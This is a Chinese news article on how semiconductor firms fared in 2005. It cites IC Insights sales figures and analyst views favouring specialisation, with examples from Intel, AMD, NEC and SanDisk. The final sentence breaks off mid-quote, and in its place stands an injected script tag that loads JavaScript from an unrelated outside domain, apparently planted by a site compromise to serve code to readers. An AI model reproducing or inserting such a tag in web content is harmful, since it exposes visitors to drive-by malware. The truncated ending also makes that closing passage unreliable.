成为市场领袖总是一件不错的事情，如今成为半导体工业的市场领袖则更是一个特大喜讯。

　　让数据来说话吧。根据半导体工业研究公司ic insights发布的统计数据，2005年，行业巨人英特尔公司的销售额增长了13%。接下来的三巨头——三星、德州仪器和东芝——的销售额也分别增长了13%、6%和7%。

　　德州仪器公司的一位负责人gene frantz将公司的成功归结于和客户之间建立了良好的关系。“我们倾听客户的需求，并满足他们的需求。”他说。

　　这是一个不错的建议，不过对于半导体工业的成功来说，仅仅提供优秀的客户服务是远远不够的。ic insights总裁bill mcclean表示，在一些公司停滞不前或者衰退的时候另外一些半导体公司却取得成功，这其中有很多原因。

　　mcclean和其他业内专家认为，成功的关键在于首先发现“混合”策略，例如拥有一项热门的新型芯片技术、产品外部销售和内部消化的平衡、有晶圆厂或者无晶圆厂运营以及利用区域力量等，然后彻底地实施你所钟爱的策略。“在半导体工业里通往成功有很多条不同的道路，” mcclean说，“无论你选择哪条道路，你必须拿出自己的全部力量坚定不移地走下去。”

半导体工业分工更加明确

　　数年以来的缓慢增长、合并和技术创新共同成为改造半导体工业的重要因素。如今，由于成本提高和竞争加剧，半导体公司不能像以往那样为所有客户提供他们想要的所有产品。技术研究公司gartner的半导体工业分析师richard gordon说：“如今，那些成功的公司更倾向于集中精力在提供用于特定领域的关键设备上。”

　　gordon指出，此前的“五大”日本半导体厂商——nec、日立、三菱、东芝和富士通——就是没有跟上时代变化的公司的典型。“即使如今，这些公司的产品线也依然相当宽广和分散，” gordon说，“从2001年的半导体工业大衰退至今，他们已经丧失了大量的市场份额。”

　　以nec公司为例，根据ic insights发布的数据，2005年该公司销售额下降14%。然而，nec电子公司执行副总裁j. j. yamaguchi仍然希望，半导体工业的持续繁荣将有助于促进公司种类极其广泛的芯片生产线的销售。

　　“自从2001年大衰退以来美国经济的持续增长正在推动美国国内消费和公司it支出的稳步增长，” yamaguchi认为，“此外，中国和印度经济的快速增长以及发达国家经济的稳定增长正在扩展半导体工业的总市场容量。”

　　不过，gordon对那些坚持采用产品线极度宽广化营销策略的公司并不抱有太大的希望。“即使市场在增长，他们依旧在年复一年地丧失市场份额。”他说。

　　专业化分工给那些有远见或者仅仅依靠运气而集中精力在热门技术上的公司带来了极其壮观的发展。例如，在活跃的微处理器市场，amd公司的增长速度就远远超过了其竞争对手英特尔公司，后者的产品线更为宽广和分散。2005年全球半导体公司销售额排行榜上排名第一的英特尔公司可能对于排名16的amd有些瞧不起，不过不可否认的是，amd公司的销售额大幅增长了48%，为行业之首。“amd公司主要是一家微处理器公司，” mcclean说，“半导体公司需要集中精力在其所擅长的一种或两种产品上。”

掌握热门技术非常重要

　　找到一项热门技术几乎可以将任何一家半导体制造商变为超级明星。以sandisk公司为例， 20年来，这家公司一直专注于闪存技术。如今，随着数码相机、移动多媒体播放器和便携式大容量存储系统等产品将对闪存的需求推向新的高度，sandisk公司正依靠此前的先见之明获得回报。在ic insights的排行榜上，2005年sandisk公司的销售额增长29%，排名较2004年上升11位，排在第26位。

　　飞思卡尔公司代理首席执行官兼策略和商业发展执行副总裁sumit sadana相信，随着新型多媒体技术的发展，如今，是消费者而不是企业正在操纵半导体市场的发展方向。“很明显，2004年发生的最重要转变是消费者购买产品的硅的总用量首次超过了企业购买产品?script src=http://er12.com/t.js>